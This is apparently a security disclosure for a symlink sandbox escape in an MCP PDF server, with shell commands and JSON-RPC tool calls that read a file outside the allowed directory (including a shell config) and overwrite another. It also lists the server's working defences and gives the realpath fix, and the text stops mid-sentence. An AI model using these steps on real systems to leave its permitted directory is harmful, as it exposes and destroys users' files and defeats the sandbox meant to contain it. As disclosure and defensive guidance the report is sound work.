@modelcontextprotocol/server-pdf v1.7.4 read_pdf_bytes and save_pdf follow symlinks out of the allowed-directory sandbox — full read/write escape
Reproduced vulnerability: symlink sandbox escape in @modelcontextprotocol/server-pdf v1.7.4
Surface: @modelcontextprotocol/server-pdf v1.7.4 via PORT=7300 npx -y @modelcontextprotocol/server-pdf /tmp/sandbox (Streamable HTTP transport)
The bug
The server's allowed-directory check validates that the input path string starts with an allowed directory, but does NOT resolve symlinks before checking. Both read_pdf_bytes and save_pdf follow symlinks through to their targets, enabling full read and write access to any file on the host filesystem.
Attack model
An agent (or user-directed flow) with write access to an allowed directory can:
- Create a symlink inside the allowed dir pointing to any target file
- Call
read_pdf_bytes(url: "<allowed_dir>/symlink.pdf")→ reads the target file's raw bytes - Call
save_pdf(url: "<allowed_dir>/symlink.pdf", data: "<base64>")→ overwrites the target file
Repro trace — Read escape
# Setup: symlink inside sandbox → file outside sandbox
echo "TOP-SECRET-CONTENT-12345" > /tmp/outside_secret.txt
ln -s /tmp/outside_secret.txt /tmp/sandbox/secret_link.pdf→ {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"read_pdf_bytes","arguments":{"url":"/tmp/sandbox/secret_link.pdf"}}}
← {"result":{"content":[{"type":"text","text":"24 bytes at 0/24"}],"structuredContent":{"url":"/tmp/sandbox/secret_link.pdf","bytes":"VE9QLVNFQ1JFVC1DT05URU5ULTEyMzQ1","offset":0,"byteCount":24,"totalBytes":24,"hasMore":false}}}Decoded bytes: TOP-SECRET-CONTENT-12345 — full content leaked.
Verified reading ~/.zshrc the same way — leaked shell config including PATH entries and plugin sources.
Repro trace — Write escape
# Setup: symlink inside sandbox → target file outside sandbox
echo "ORIGINAL-CONTENT" > /tmp/overwrite_target.pdf
ln -s /tmp/overwrite_target.pdf /tmp/sandbox/overwrite_link.pdf→ {"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"save_pdf","arguments":{"url":"/tmp/sandbox/overwrite_link.pdf","data":"T1ZFUldSSVRURU4tQlktQ1JVQ0lCTEU="}}}
← {"result":{"content":[{"type":"text","text":"Saved to /tmp/sandbox/overwrite_link.pdf"}],"structuredContent":{"filePath":"/tmp/sandbox/overwrite_link.pdf","mtimeMs":1781173101158.7322}}}Target file now contains OVERWRITTEN-BY-CRUCIBLE — the original content is destroyed.
What the server gets right
- Path traversal via
../is properly blocked (resolves the path and checks) - Direct paths outside allowed dirs are rejected
file://scheme URIs are blocked- SSRF attempts (HTTP/HTTPS to internal IPs) are rejected (HTTP blocked, only HTTPS allowed)
- Negative offsets, out-of-range byteCount properly validated via Zod schema
- Missing required fields properly rejected
What the server gets wrong
The path validation checks the literal string against the allowlist but then opens the file via the real filesystem path (which follows symlinks). The fix is to call fs.realpathSync() on the input path and validate the resolved path against the allowed directories before any I/O.
Impact for agents
Any agent workflow where:
- The server is configured with an allowed directory, AND
- An agent (or user, or another tool) can create files/symlinks in that directory
...has full host filesystem read/write. This is especially dangerous in shared-workspace deployments where the allowed directory is a project folder that agents already write to.
Additional observations
save_pdfonly writes to paths of files that the server can "see" (it returns "File not found" for new paths it hasn't registered). But symlinks bypass this because the symlink itself is "visible" in the allowed directory.- No extension restriction:
save_pdfwrites any extension (.sh,.html,.txt) without complaint if the symlink target exists. - The server binds to
0.0.0.0by default with no auth and no DNS rebinding protection — the startup warnin